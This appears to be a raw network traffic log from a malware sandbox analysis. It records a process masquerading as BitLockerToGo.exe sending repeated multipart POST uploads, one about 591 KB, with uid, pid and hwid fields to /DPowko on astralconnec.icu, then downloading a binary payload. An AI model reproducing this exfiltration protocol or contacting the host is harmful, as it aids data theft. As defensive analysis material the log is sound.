2025-03-10 14:34:26 UTC	818	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 14:34:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w3k5oBYPKr0As39PO5Q2PK2ZlYN2SQE2PNHJTvyftlaM10b2Z1ClX7%2BEj6nY5E7%2BQ5WOg4P9LuN%2BbhilhffM3EHqPkBKDkCYLL%2Ff5oKZgfpcpaBxXR3okSjntA%2Bk43QzJ2Rw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91e388665a9c0dec-MEM alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=30055&min_rtt=27990&rtt_var=9829&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2840&recv_bytes=16010&delivery_rate=84869&cwnd=249&unsent_bytes=0&cid=b532e174b418c6af&ts=1142&x=0"
2025-03-10 14:34:26 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 37 33 2e 32 30 33 2e 32 33 31 2e 31 39 36 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 73.203.231.196"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.12	49758	104.21.77.86	443	6508	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 14:34:28 UTC	282	OUT	POST /DPowko HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=lfQ1EQtLpgB7ub8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20240 Host: astralconnec.icu
2025-03-10 14:34:28 UTC	15331	OUT	Data Raw: 2d 2d 6c 66 51 31 45 51 74 4c 70 67 42 37 75 62 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 61 31 61 61 30 35 63 63 61 34 32 64 63 39 66 38 64 30 32 38 36 37 35 32 39 30 36 33 31 33 34 37 33 39 30 36 65 34 63 66 36 62 65 65 63 62 63 65 35 64 36 36 38 36 35 65 0d 0a 2d 2d 6c 66 51 31 45 51 74 4c 70 67 42 37 75 62 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 6c 66 51 31 45 51 74 4c 70 67 42 37 75 62 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a Data Ascii: --lfQ1EQtLpgB7ub8Content-Disposition: form-data; name="uid"a1aa05cca42dc9f8d0286752906313473906e4cf6beecbce5d66865e--lfQ1EQtLpgB7ub8Content-Disposition: form-data; name="pid"3--lfQ1EQtLpgB7ub8Content-Disposition: form-data; name="hwid"
2025-03-10 14:34:28 UTC	4909	OUT	Data Raw: 53 4c 63 64 3e a7 f8 dc b3 2b 98 60 54 92 f3 a9 90 38 93 95 3e 2b 14 06 90 70 ad a6 4a c6 6d 67 16 63 84 9a 0e 1f 18 2d c5 85 e3 76 87 6a 68 b5 0a e8 1d 92 07 e1 bd 55 e7 4c fd 75 f2 4e 24 18 3b ff 0b c2 a3 6b 08 8a cc c4 a7 cc 46 10 b9 80 a5 76 48 c7 73 71 d7 7b 31 b0 56 3d 13 8a be 5a 3d 06 e1 81 d0 2e 70 4b 8b f0 82 b1 48 f6 e7 de 78 75 94 2a 6b 24 cc 2d c1 80 75 28 e9 90 7b 58 48 7a e5 c6 18 85 3f 6c b8 b0 9b f8 ee 4e d6 b4 bf 34 db fa c5 61 ca 49 dc 06 b9 51 89 24 5a 63 72 04 09 87 e4 8c 8b fb 51 20 f3 b7 65 9b 6d e8 b9 02 28 44 a0 21 c1 be 17 70 34 db f2 ef eb dc 20 49 dd fb 66 88 c4 31 01 56 08 78 60 05 81 06 c8 84 e2 e1 8a b7 72 c5 c2 46 13 e3 1f 64 ac fd 00 ff 05 be f5 fd e2 54 d6 22 5e 7d 8f 36 13 81 d2 6f ac 3d cd 8c d4 5f a7 bb fe 7f e5 1b 42 Data Ascii: SLcd>+`T8>+pJmgc-vjhULuN$;kFvHsq{1V=Z=.pKHxu*k$-u({XHz?lN4aIQ$ZcrQ em(D!p4 If1Vx`rFdT"^}6o=_B
2025-03-10 14:34:29 UTC	813	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 14:34:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xEPlBG9mJiFesCVItPJjNitb1e%2F6a7zn9XpgCx99XgJyU5OQXYiqASMcuGjk35h42udpzTGwyXC2q8AEt%2B1QlYDcIccGnyvOGyIMdv3C0WTsLPlsbQpjT0l6GznrPbB4Foln"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91e3887b091f3be5-MEM alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=29012&min_rtt=23460&rtt_var=10202&sent=12&recv=23&lost=0&retrans=0&sent_bytes=2841&recv_bytes=21202&delivery_rate=90437&cwnd=250&unsent_bytes=0&cid=4d7958655ab7a86b&ts=1197&x=0"
2025-03-10 14:34:29 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 37 33 2e 32 30 33 2e 32 33 31 2e 31 39 36 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 73.203.231.196"}}
2025-03-10 14:34:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.12	49759	104.21.77.86	443	6508	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 14:34:32 UTC	284	OUT	POST /DPowko HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=g72N37tIE06FDB118y User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 2347 Host: astralconnec.icu
2025-03-10 14:34:32 UTC	2347	OUT	Data Raw: 2d 2d 67 37 32 4e 33 37 74 49 45 30 36 46 44 42 31 31 38 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 61 31 61 61 30 35 63 63 61 34 32 64 63 39 66 38 64 30 32 38 36 37 35 32 39 30 36 33 31 33 34 37 33 39 30 36 65 34 63 66 36 62 65 65 63 62 63 65 35 64 36 36 38 36 35 65 0d 0a 2d 2d 67 37 32 4e 33 37 74 49 45 30 36 46 44 42 31 31 38 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 67 37 32 4e 33 37 74 49 45 30 36 46 44 42 31 31 38 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 Data Ascii: --g72N37tIE06FDB118yContent-Disposition: form-data; name="uid"a1aa05cca42dc9f8d0286752906313473906e4cf6beecbce5d66865e--g72N37tIE06FDB118yContent-Disposition: form-data; name="pid"1--g72N37tIE06FDB118yContent-Disposition: form-data; name
2025-03-10 14:34:36 UTC	815	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 14:34:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qX1HYAMv4w62KjnkA7U3TmQFtHVJ3S4DazhFtmEMO%2F%2FwZ6NiF0knylRwD0Xlwea17OswgQ%2BPEes4bUuTtd7cCAgjKCbLtaJX00Ik2fnOVSAKSReLwpZG%2BfRq%2BMS0UafrgBtV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91e38890ccab3bde-MEM alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=30157&min_rtt=29297&rtt_var=9884&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2840&recv_bytes=3267&delivery_rate=82471&cwnd=251&unsent_bytes=0&cid=d7c9cd83fb1f35f5&ts=3928&x=0"
2025-03-10 14:34:36 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 37 33 2e 32 30 33 2e 32 33 31 2e 31 39 36 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 73.203.231.196"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.12	49760	104.21.77.86	443	6508	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 14:34:38 UTC	280	OUT	POST /DPowko HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YP9t4ZR8fU6v User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 591336 Host: astralconnec.icu
2025-03-10 14:34:38 UTC	15331	OUT	Data Raw: 2d 2d 59 50 39 74 34 5a 52 38 66 55 36 76 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 61 31 61 61 30 35 63 63 61 34 32 64 63 39 66 38 64 30 32 38 36 37 35 32 39 30 36 33 31 33 34 37 33 39 30 36 65 34 63 66 36 62 65 65 63 62 63 65 35 64 36 36 38 36 35 65 0d 0a 2d 2d 59 50 39 74 34 5a 52 38 66 55 36 76 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 59 50 39 74 34 5a 52 38 66 55 36 76 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 38 34 46 35 38 37 Data Ascii: --YP9t4ZR8fU6vContent-Disposition: form-data; name="uid"a1aa05cca42dc9f8d0286752906313473906e4cf6beecbce5d66865e--YP9t4ZR8fU6vContent-Disposition: form-data; name="pid"1--YP9t4ZR8fU6vContent-Disposition: form-data; name="hwid"584F587
2025-03-10 14:34:38 UTC	15331	OUT	Data Raw: 39 8d b1 ea cd 18 b1 c7 20 9a c2 00 38 b7 0f 73 a7 c4 b5 12 b3 62 9a 45 c8 52 ce 0a 87 e4 16 ab ac db 59 16 74 8a 17 8b c3 42 17 aa 73 4f b3 72 4e 88 b5 23 92 ff cd 3f 2c 8c 66 8d 6e f4 80 6f f3 6d a9 68 a4 5e 5d 70 05 73 b9 77 dd 51 31 6b ef 13 0d e4 1f f5 54 29 87 c3 a0 d6 6d fc 8b e9 de f7 b6 15 5d a8 35 18 b2 36 8e 32 4a 4f 89 d6 fa 5a bf 8d 36 ed c0 09 7f 5e 51 8f cc 31 ca fe f8 62 b7 0e 97 08 c2 20 e9 51 96 52 f6 04 00 2a c6 32 45 66 2c 05 28 b1 3e 1b f4 ea 42 54 08 5a d0 09 24 d7 3b a3 b5 e0 70 85 12 09 2f 3a f2 65 82 be c1 2b 02 4e 37 74 e9 37 f0 1d 52 54 8e 4d 52 60 b9 2b 5f 66 9c 3f ea 52 25 26 17 a0 6e 07 c5 17 f6 82 47 20 cf 37 5d 0c 15 dd 8f de c1 3e e4 e6 30 f1 f9 4d c4 98 92 80 10 3f 6a d8 00 ed 50 15 83 90 3b cb 74 e3 9e 23 99 ee 25 cd 32 Data Ascii: 9 8sbERYtBsOrN#?,fnomh^]pswQ1kT)m]562JOZ6^Q1b QR*2Ef,(>BTZ$;p/:e+N7t7RTMR`+_f?R%&nG 7]>0M?jP;t#%2
2025-03-10 14:34:38 UTC	15331	OUT	Data Raw: 99 57 9d 92 dc 7c 5c fd dd 6b 7e 5a 72 a2 86 ed de 49 7f 04 33 73 89 b4 d9 8c ec 0f 6f d4 d2 f4 58 4d 5a 06 a4 33 92 31 b9 8c af 09 c0 6d e1 fd 32 70 1e 03 99 ad 58 4c 0d ba 5e 58 cf 0e 1b 6b d2 ea de ca f0 b5 b1 d1 8d 81 62 4c b9 7d 64 7d d9 76 d6 54 25 c0 e9 2a 38 b6 bd 22 0c d8 33 64 3a 26 56 62 9e a2 bb 90 e5 be b4 d4 25 72 cb 5b bf 02 38 0c 04 7c 00 e5 52 97 ff 58 25 a5 0d 44 0a 83 08 b1 12 88 52 59 39 c0 ae b1 bc f3 aa da f8 40 aa b9 9b f2 df a9 95 2e 5c 09 5f d2 57 07 c3 c0 85 e6 8e b8 80 22 03 5d 21 79 de 22 34 b2 4c ce 9c d5 27 3c e9 b8 f5 a9 be 07 d3 83 ac 23 51 51 e8 6d 93 7f 77 5a 5f 20 f0 c2 46 c1 ea 93 e9 7b d4 4d 6c c4 af 41 eb 90 95 22 72 ac f9 2f f1 f3 4f 41 80 7a 5a a0 57 37 38 16 1a 5a 31 d9 0a 9d c4 e4 e7 58 0d 53 64 43 01 b4 bc a1 be Data Ascii: W\|\k~ZrI3soXMZ31m2pXL^XkbL}d}vT%*8"3d:&Vb%r[8\|RX%DRY9@.\_W"]!y"4L'<#QQmwZ_ F{MlA"r/OAzZW78Z1XSdC
2025-03-10 14:34:38 UTC	15331	OUT	Data Raw: 28 8a 1a 87 24 fd 40 fc b7 dc 34 e5 46 42 06 59 a2 20 60 13 b3 7b dc fe f4 4c 7d 3c 87 c8 f0 cc b4 69 c4 9a 4b a6 c2 84 5f 57 0f 4d db f0 9a fb f8 22 07 42 d4 dc 82 86 06 a2 35 e1 58 21 89 a5 59 b0 b2 a3 ca be 43 2f f5 19 cf b2 59 6c ac 87 f2 df 51 eb 80 1d 81 f4 b2 f8 2e a4 31 3c 11 74 9f 11 01 e9 fa bc 8f f8 4f 76 74 cd 7c d6 43 eb 65 f3 f9 37 90 51 fc de c7 ff fc 17 9d 68 93 f3 87 e0 77 ec 14 3c 98 6b 29 2b d4 78 1d 75 57 31 79 2b 53 19 d3 67 67 19 46 9d 85 b1 d0 81 f3 10 08 ff 2a 3f 01 ed c9 32 0a 43 3f 3b 88 a9 3c a3 e4 c0 ef 06 28 1d 73 bd ab 56 9e 5a f2 1a 1c fc c9 e0 6d 33 6c b2 94 9b 1f 93 59 ce 04 fc b7 c7 57 c2 a6 d5 67 c8 35 6b 9c 37 54 ca 49 42 df f0 67 41 31 eb 12 aa 29 05 f4 91 9d e7 a7 b3 05 17 5d 22 0b 1f ac 1f 67 45 34 52 33 1e c6 d4 f3 Data Ascii: ($@4FBY `{L}<iK_WM"B5X!YC/YlQ.1<tOvt\|Ce7Qhw<k)+xuW1y+SggF*?2C?;<(sVZm3lYWg5k7TIBgA1)]"gE4R3
2025-03-10 14:34:38 UTC	15331	OUT	Data Raw: 0f 7b fd 7a de fc dc d9 fe b0 57 ec a3 cb 96 80 29 58 b7 0b 93 b9 ae c6 08 da e6 6b ea 6a ca 79 b3 a8 5f 4e 84 80 e9 0c be c0 b9 39 ff 18 4c 31 c6 43 95 3b 0a 29 2e bd c5 88 ea 4a 4a ad 67 d6 d4 83 69 d3 6a 20 6b 78 47 76 74 9f 2a 31 d2 c1 78 19 08 0e 36 60 40 f5 73 b4 a4 04 79 9c eb 56 55 60 78 d2 0b c4 1f 50 98 41 20 5f 85 c6 15 d7 bd 21 a3 fe 55 e5 89 bf c0 73 c2 8f 16 7a 7d 21 95 a5 02 24 ce 4c 49 06 ce 66 b7 31 06 f4 e9 c1 0a 94 06 a1 85 5a 18 4e c8 3a 8b 49 0a 2b d8 a4 81 45 aa 76 17 9a aa 8a 2b d4 ac 61 9c 93 cc 7b e8 58 eb e9 7e d4 8e 06 b0 6c 30 8b 76 56 e2 24 f2 93 da d7 9f 90 d1 a6 56 c6 7c ea ea 89 e5 46 81 28 0f b3 e0 b3 43 11 bf d9 90 7d e0 33 ad 26 ff 04 e3 f2 bd 0b 67 43 f1 08 80 d9 38 16 e3 d9 fe 0c 6f a8 b5 fa 7f bd a5 0d 0a 44 74 c7 c8 Data Ascii: {zW)Xkjy_N9L1C;).JJgij kxGvt*1x6`@syVU`xPA _!Usz}!$LIf1ZN:I+Ev+a{X~l0vV$V\|F(C}3&gC8oDt
2025-03-10 14:34:38 UTC	15331	OUT	Data Raw: d2 03 0d 06 84 95 7e f6 ed 0c 50 d1 34 d2 96 7a 65 03 4b e3 29 15 34 7b cf c0 2e 02 72 e0 0e f8 84 8d c5 59 cf 18 4a 59 a7 76 74 d6 0b f5 e7 18 8a a3 d0 e5 2e 19 d1 df 22 39 1a 5e 9c df 84 5a fa 3b c2 23 0f e1 e0 24 a5 af e1 f2 4c 81 f3 93 27 fa 57 22 2a a4 56 d8 fd db c8 2e e2 6b 91 72 90 79 35 47 3d 35 68 e7 9d 22 a6 04 b1 1b 1d 2e 4f e9 3e 67 e4 e1 cd 01 61 4c 4d df 74 87 2b 87 39 75 f9 6a f9 4a 86 ed aa 45 da 39 19 da 5f 2a 7b a3 5f 84 0a 78 81 22 29 65 72 be 03 e0 05 9e 93 8e 8b 0c 7b b1 ab bd 35 98 5c ec 52 32 38 37 9a a0 b0 19 4d 38 89 71 2f 3d 84 97 23 ac 94 f3 e8 35 d7 0d 40 5e 26 da 6c 05 c4 98 dd e9 f1 8c 41 41 42 cf 95 a5 4b 8a 9f 7e ea 0b 09 11 c7 4a 03 f5 f1 5f 70 e5 18 bf 2f 55 e9 f0 6c 51 e0 a6 7f e4 84 aa e2 42 66 eb 52 5b 20 f9 ec 34 91 Data Ascii: ~P4zeK)4{.rYJYvt."9^Z;#$L'W"V.kry5G=5h".O>gaLMt+9ujJE9_{_x")er{5\R287M8q/=#5@^&lAABK~J_p/UlQBfR[ 4
2025-03-10 14:34:38 UTC	15331	OUT	Data Raw: 40 5e 69 41 d2 7e df 95 44 26 83 4a df c8 1f da e0 75 41 a0 ea 67 bc db ec 31 cb 39 28 8b 56 84 2e 45 74 f0 c9 d2 79 a2 79 49 fd ab c6 cc cd 24 65 70 68 06 d1 1f 29 6d 7a d0 ee fa 15 82 cc 20 33 62 8e 4a 37 16 ff 15 10 ad 00 4d 31 c5 b1 03 12 57 24 e6 2f 3e cc 32 f9 3d 05 6d 79 78 b4 7a 94 36 f1 10 89 74 5c b5 fb 82 a3 61 24 bc 94 d9 1c c9 20 4d 76 19 6d 8a b8 6c e3 2a ae 3c 90 6d e7 4f 4f 17 b5 a3 6b bd 4f 5a 20 27 8b ce cc 17 db 45 3a d8 0a 61 31 60 d0 42 d2 23 2a 27 7c 63 0a 92 e9 58 e2 d1 6b b1 34 50 61 b0 39 f2 97 a0 e1 40 63 0e c3 a8 f1 db 3f 92 e9 d4 6a 64 7c da b5 93 69 92 e2 d1 f6 37 97 0a 77 cb c4 9e b3 c0 68 38 0d 42 9f 25 b3 fc 1b 2a 73 ff 4c 0a 49 1d 76 5a 06 3d 2c 5b df cd 23 ad 0f b8 6a 05 8c 01 0e 5e c4 81 34 f7 f9 cb 32 a5 81 c9 27 5e f4 Data Ascii: @^iA~D&JuAg19(V.EtyyI$eph)mz 3bJ7M1W$/>2=myxz6t\a$ Mvml<mOOkOZ 'E:a1`B#'\|cXk4Pa9@c?jd\|i7wh8B%*sLIvZ=,[#j^42'^
2025-03-10 14:34:38 UTC	15331	OUT	Data Raw: 1e 28 62 01 cd a0 76 28 2f 35 28 e4 fe 5e 0f 69 14 0b 3c dd 00 01 35 c7 af 19 32 aa 63 a0 ce bd 53 8b 77 ca fc 76 92 2d 7e 52 84 99 16 fa f8 f8 60 b0 c7 59 40 f2 d7 f0 86 6e cf 0f 0b 55 14 f5 6b f7 20 e9 0c 4b 2d fb 05 0f 99 3d b0 97 92 7b 75 84 4f 87 bb ac fd 17 32 47 1d 08 33 71 fe b2 7a f8 18 8d 31 6b 90 9a 28 d6 95 c6 2e fc 74 aa 91 2f 82 bf 1c 6a 2b a1 24 3c ea 26 d2 98 62 73 fe 84 18 24 b8 6d c0 4a 0f 23 20 0e 1d d8 b1 18 94 77 5a 5a 96 fe 64 ba ef de 7b 96 c5 42 fd 86 29 b7 af b7 19 b1 0a f1 90 18 0d 61 39 b6 91 3f 52 28 be 88 d1 dc d7 af a0 e3 7c 25 5f 8b 34 84 91 a3 ee f6 d9 93 88 7e 40 50 87 69 9e 9d 21 fe 7c 4f 0c 40 42 24 a6 2c c8 04 9a f8 ec da 44 8b 80 a9 e6 49 02 db b5 bc c7 b9 60 97 63 36 7c b4 ac 0a 36 dd 2c 1d 4d fb 24 52 67 b1 50 fa d8 Data Ascii: (bv(/5(^i<52cSwv-~R`Y@nUk K-={uO2G3qz1k(.t/j+$<&bs$mJ# wZZd{B)a9?R(\|%_4~@Pi!\|O@B$,DI`c6\|6,M$RgP
2025-03-10 14:34:38 UTC	15331	OUT	Data Raw: 63 de a6 e4 a8 58 20 a4 9c 46 d4 5e 6d 19 c1 e2 1e 77 01 0d e1 de 09 b6 22 c6 02 fb 66 65 1a ba f3 f1 6d ea b3 67 36 5c 11 4c f9 40 ae ee 7e 93 f4 c3 d9 35 60 92 e4 e0 57 01 d4 58 ba 6c 59 7a 36 7a 9c 3c 0c 22 42 4a f0 94 76 c5 ff f5 d7 ba a1 02 8b 50 83 ac de 0f 71 d4 8c 8a 9b f6 98 4d 62 93 ef d9 1e ea e0 7d 82 bc 57 40 a7 5e ae 2d af 88 5d c2 85 d5 fd a7 5c 8f 76 d0 47 4a ed 77 80 74 f3 fd ad d7 32 b3 61 ad a2 05 b1 a1 1f a1 14 56 c9 56 3b 08 2d f0 9b 33 5d 94 74 ce f8 2f 0e 21 22 67 7d 8b 8a c5 fe 81 8a 95 63 3f c8 8a 94 e2 4e 0e 48 37 ca c9 38 5f 16 33 f7 e9 35 f9 34 4b df f1 d1 06 ee ac c4 ec 43 f9 e4 41 15 fb f2 2f 40 c3 f5 95 ab 95 77 d5 03 ad 4a fd ec 9e 72 82 c9 f4 45 af af 6b ff 38 66 b0 b8 74 75 6e 13 c8 da 75 96 4b 06 64 58 e7 5f c8 40 7c c0 Data Ascii: cX F^mw"femg6\L@~5`WXlYz6z<"BJvPqMb}W@^-]\vGJwt2aVV;-3]t/!"g}c?NH78_354KCA/@wJrEk8ftunuKdX_@\|
2025-03-10 14:34:38 UTC	15331	OUT	Data Raw: 9a 46 f6 82 04 75 d5 43 45 46 a4 72 9e d7 ef 35 f2 e0 b8 2b c9 bd 3d 90 ea f5 d2 b5 5d 39 cf 33 ed b7 e9 0d 27 d2 4d 36 05 40 c9 df 0a bc 70 34 14 3d 17 4a 4d 8c 17 53 d0 36 79 fd 42 79 56 b9 c4 d0 fd fb a4 bb 9e 02 90 fe b9 4a ce 01 3a 56 4d 57 24 cc 65 de dd 79 62 9c 62 6f 03 f3 0c 67 f6 c5 ff a6 37 9d aa 4b d7 b2 8b 7b 18 bc 14 a3 4b 4d 9d 5b 24 fa 7d b8 f0 11 93 5f ac 32 33 e8 4f 04 af 6c e7 89 b6 41 ac 64 f2 6f 88 25 09 80 85 e0 7f bb d2 59 86 3f 6b 17 d5 ee ce ae aa 1f 57 2b 36 9c 60 67 84 93 cd 44 b3 b4 06 3f ca b8 a5 3e f0 26 39 c1 5c 81 5f ea 0f f5 51 9b 40 4c e6 a6 98 76 99 c5 e5 a5 60 47 0a 36 6e 35 00 80 1f 01 4e 3c 4c 67 eb 2b 50 e3 c6 7f 19 c3 93 34 b1 ac 6e 32 8a 21 61 29 64 33 95 8d 88 7b 16 b9 e8 6a 24 3a ac 5b 20 23 ac 4f e1 f2 5d 71 46 Data Ascii: FuCEFr5+=]93'M6@p4=JMS6yByVJ:VMW$eybbog7K{KM[$}_23OlAdo%Y?kW+6`gD?>&9\_Q@Lv`G6n5N<Lg+P4n2!a)d3{j$:[ #O]qF
2025-03-10 14:34:41 UTC	819	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 14:34:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vo8ATiT56uZ2%2BwJhjp%2FYlmXkSCL05NFvjc4X5rdfZg5CLoYajZoCu3BgdyFN7S1p%2F2QXA0Otrp6U0OoljoauH9OBrDTsFRWCarmeTrB3EZFeqqaYA1r%2BirsrZqxNqH9pPJwV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91e388c11e080df0-MEM alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=26154&min_rtt=23194&rtt_var=8809&sent=189&recv=435&lost=0&retrans=0&sent_bytes=2840&recv_bytes=593946&delivery_rate=98176&cwnd=251&unsent_bytes=0&cid=b4eae82454a2541d&ts=3531&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.12	49761	104.21.77.86	443	6508	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 14:34:43 UTC	268	OUT	POST /DPowko HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 103 Host: astralconnec.icu
2025-03-10 14:34:43 UTC	103	OUT	Data Raw: 75 69 64 3d 61 31 61 61 30 35 63 63 61 34 32 64 63 39 66 38 64 30 32 38 36 37 35 32 39 30 36 33 31 33 34 37 33 39 30 36 65 34 63 66 36 62 65 65 63 62 63 65 35 64 36 36 38 36 35 65 26 63 69 64 3d 26 68 77 69 64 3d 35 38 34 46 35 38 37 44 36 39 35 34 30 45 45 36 33 32 41 34 39 34 43 39 35 41 36 41 36 32 34 44 Data Ascii: uid=a1aa05cca42dc9f8d0286752906313473906e4cf6beecbce5d66865e&cid=&hwid=584F587D69540EE632A494C95A6A624D
2025-03-10 14:34:44 UTC	788	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 14:34:44 GMT Content-Type: application/octet-stream Content-Length: 10455 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7RTUcKh96wIVIuCqej6BkjWjsoLDku%2Bn56u4S9lijuW%2BkdrogQ8fGNhl%2BckpGeJKvCF2AADb1IOTZmFjg%2BsfHVQikQKuJ4S7P6lKaSouOEvpheK4QW2%2FV50BLEaFbUIHkLx2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91e388da58453bd9-MEM alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=30800&min_rtt=25040&rtt_var=10855&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1007&delivery_rate=100580&cwnd=251&unsent_bytes=0&cid=4b55346eb00b5033&ts=848&x=0"
